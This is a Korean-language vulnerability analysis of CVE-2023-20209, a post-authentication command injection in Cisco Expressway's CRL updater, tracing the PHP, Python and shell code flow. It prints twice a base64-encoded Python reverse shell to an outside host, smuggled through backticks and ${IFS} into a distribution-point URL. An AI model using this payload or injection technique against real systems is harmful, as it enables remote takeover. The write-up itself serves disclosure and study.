
CVE-2023-20209에 대한 상세 기술 분석 및 개념 증명 익스플로잇으로, Cisco Expressway의 인증 후 원격 코드 실행 취약점에 대한 단계별 코드 흐름 설명 및 익스플로잇 노트를 제공합니다.
Cisco Expressway를 조사하기 시작한 이유는 레드팀 공개 평가(Red Team engagements) 중 인터넷에서 꽤 많은 인스턴스를 발견했지만, 업무 중에 이 제품을 더 자세히 탐구할 시간이 없었기 때문입니다.
처음에는 인증 우회(auth bypass)를 찾아 RCE로 연결하려 했지만 시간이 부족해 인증 후 RCE(post auth RCE)로 타협했습니다. 프론트엔드 PHP 코드는 추가 익스플로잇에 유망해 보입니다...
이는 CVE-2023-20209의 발견 및 공급업체 통지 과정에서 작성한 노트입니다.
익스플로잇 후 프로세스 목록을 보면 /sbin/request-crlupdate 호출이 확인됩니다.
root 16449 0.0 0.0 7472 4024 ? S Feb18 0:00 bash /sbin/request-crlupdate
root 16451 0.0 0.1 7544 4280 ? S Feb18 0:00 /bin/bash /etc/init.d/crlupdater restart
root 16466 0.0 0.2 14084 11236 ? S Feb18 0:00 python -c exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))
/sbin/request-crlupdate의 내용을 살펴보면:
#! /bin/env bash
#
# 이 스크립트는 설정이 변경될 때 CRL 자동 업데이트 프로세스를 업데이트하는 역할을 합니다.
#
# =============================================================================
# PHP 및 업데이터 스크립트와 동기화 유지 필요
readonly STARTFILE="/tmp/request/update_crl_config"
readonly LOCK_FILE="/tmp/crlupdater_running"
# =============================================================================
# 도우미 함수 소스
readonly FUNCTIONS="/etc/functions"
[[ -f ${FUNCTIONS} ]] && . ${FUNCTIONS}
# =============================================================================
if [[ -f ${STARTFILE} ]]; then
# 플래그 파일 제거
rm -f ${STARTFILE}
if [[ -f ${LOCK_FILE} ]]; then
do_log "Event=\"Updating CRL data\" Detail=\"CRL update already in progress. Scheduling another update\""
touch ${STARTFILE}
# 락 파일이 제거될 때까지 타이트 루프 상황 가능성을 피하기 위해
# 몇 초간 대기
sleep 30
else
# CRL 자동 업데이트 데몬 실행
/etc/init.d/crlupdater restart
fi
fi
# =============================================================================
CRL 자동 업데이트 데몬을 호출하는 것을 볼 수 있지만, 이것이 어떻게 여기까지 도달했는지 설명하지 않습니다. 아래에서 코드 흐름을 따라가 보려고 합니다.
웹 프론트엔드의 PHP 코드(/share/web/public/crpupdater.php)에서 http 또는 https로 시작하는지 확인하는 유효성 검사가 있습니다:
$crl_distribution_points_root_new = new SimpleXMLElement("<root/>");
foreach ( $url_list as $line )
{
if ( strlen( $line ) > 0 )
{
if ( preg_match( '/^(http|https):\/\/.+/i', $line ) > 0 )
{
// URI에 공백이 없도록 함
$line = str_replace( " ", "%20", $line );
$crl_distribution_points_root_new->record[ $idx++ ]->distribution_point = $line;
$distribution_point_count++;
}
else
{
$unsupported_distribution_point_seen = true;
}
}
}
이 값은 웹 서비스 뒤에 있는 파이썬 프레임워크로 전달되는 것으로 보입니다. 모든 파이썬은 pyc 파일이어서 일부 흐름이 손실되지만 아래 내용이 힌트를 줍니다.
파이썬이 /sbin/request-crlupdate를 호출하는 것으로 보입니다.
/share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyc
Class to manage requestd with regards CRL updates
c C s t j j j j j | | ƒ d S( N( RO RV RW RX RY R ( R
RL ( ( sp /share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyR ? s c C s- t j d ƒ t j j j j j | d ƒ d S( s\
requestd가 CRL 업데이트 데몬을 다시 시작하도록 트리거 파일을 생성합니다.
/etc/init.d/crlupdater의 내용:
#!/bin/bash
#set -x
#
# 설정된 경우 자동 CRL 업데이트 설정
#
readonly SERVICE="crl_updater"
readonly PID_FILE="/var/run/${SERVICE}.pid"
[[ -f /etc/functions ]] && . /etc/functions
start()
{
# #86345
#
# 정책 서비스 CRL 파일의 소유자가 올바른지 확인하여 웹에서 업데이트 가능하도록 함
chown _nobody:_nobody /tandberg/persistent/certs/policy-services.crl
if upgrade_in_progress; then
# 업그레이드 중이므로 더 이상 진행하지 않음
echo "Upgrade in process. Not starting ${SERVICE}"
exit 0
fi
if is_service_up ${SERVICE}; then
# 서비스가 이미 실행 중이므로 더 이상 진행하지 않음
echo "${SERVICE} already running. Not starting"
exit 0
fi
echo "Starting ${SERVICE}"
local readonly script="/bin/crl_updater"
# PHP 및 스크립트와 동기화 유지 필요
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
# 올바른 디렉토리 확인
local readonly certificates_base="/mnt/harddisk/certificates"
local readonly crl_directory="${certificates_base}/crl"
if [[ ! -d ${crl_directory} ]]; then
mkdir -p ${crl_directory}
fi
if [[ -s ${config_file} ]; then
. "${config_file}"
if [[ ${auto_updates} == "true" ]]; then
# 600초마다 확인하여 설정된 시간인지 확인하고
# 스크립트 실행. 스크립트가 실행되면 24시간 후에 다시 실행
/bin/time_kicker 600 ${update_hour} ${script} > /dev/null 2>&1 &
echo $! > ${PID_FILE}
else
# 비활성화로 인한 정리가 필요할 수 있으므로 스크립트 실행
${script} > /dev/null 2>&1 &
fi
fi
}
stop()
{
if is_service_up ${SERVICE}; then
echo "Stopping ${SERVICE}"
kill_pid_file ${SERVICE} ${PID_FILE}
rm -f ${PID_FILE}
fi
}
restart()
{
stop
start
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo $"Usage: $0 {start|stop|restart}"
exit 1
;;
esac
중요한 몇 줄:
local readonly script="/bin/crl_updater"
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
익스플로잇 후 /tandberg/persistent/certs/crl-update.conf의 내용:
auto_updates=true
update_hour=11
distribution_point=http://`python${IFS}-c${IFS}"exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"`
파일 안에 악의적인 CRL 데이터가 있음을 확인할 수 있습니다.
/etc/init.d/crpupdater의 IF 문 두 경우 모두 /bin/crl_updater 실행 호출이 발생합니다.
이 시점에서 악의적인 코드가 /bin/crl_updater의 흐름에서 실행됩니다:
read_configuration()
{
# 설정 파일 로드
# PHP 및 init 스크립트와 동기화 유지 필요
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
local readonly config_separator="="
local readonly distribution_point_prefix="distribution_point"
if [[ -s ${config_file} ]]; then
. "${config_file}"
readonly CRL_UPDATE_MODE="${auto_updates}"
readonly CRL_DISTRIBUTION_POINTS=`cat ${config_file} | while read line; do echo ${line} | grep "${distribution_point_prefix}" | tr "${config_separator}" "\n" | grep -v "${distribution_point_prefix}" ; done`
if [[ ${CRL_UPDATE_MODE} == "true" ]]; then
# 일부 배포 지점이 설정되어 있는지 확인
if [[ -z "${CRL_DISTRIBUTION_POINTS}" ]]; then
updater_event_logger "ERROR: No CRL distribution points configured"
alarm raise $CONFIG_ALARM
exit_handler 1
fi
fi
else
updater_event_logger "ERROR: CRL updater failed to find configuration file or file is empty"
alarm raise $NO_CONFIG_ALARM
exit_handler 1
fi
}
그런 다음 악성 명령이 포함된 설정 파일이 다음을 통해 실행됩니다:
if [[ -s ${config_file} ]]; then
. "${config_file}"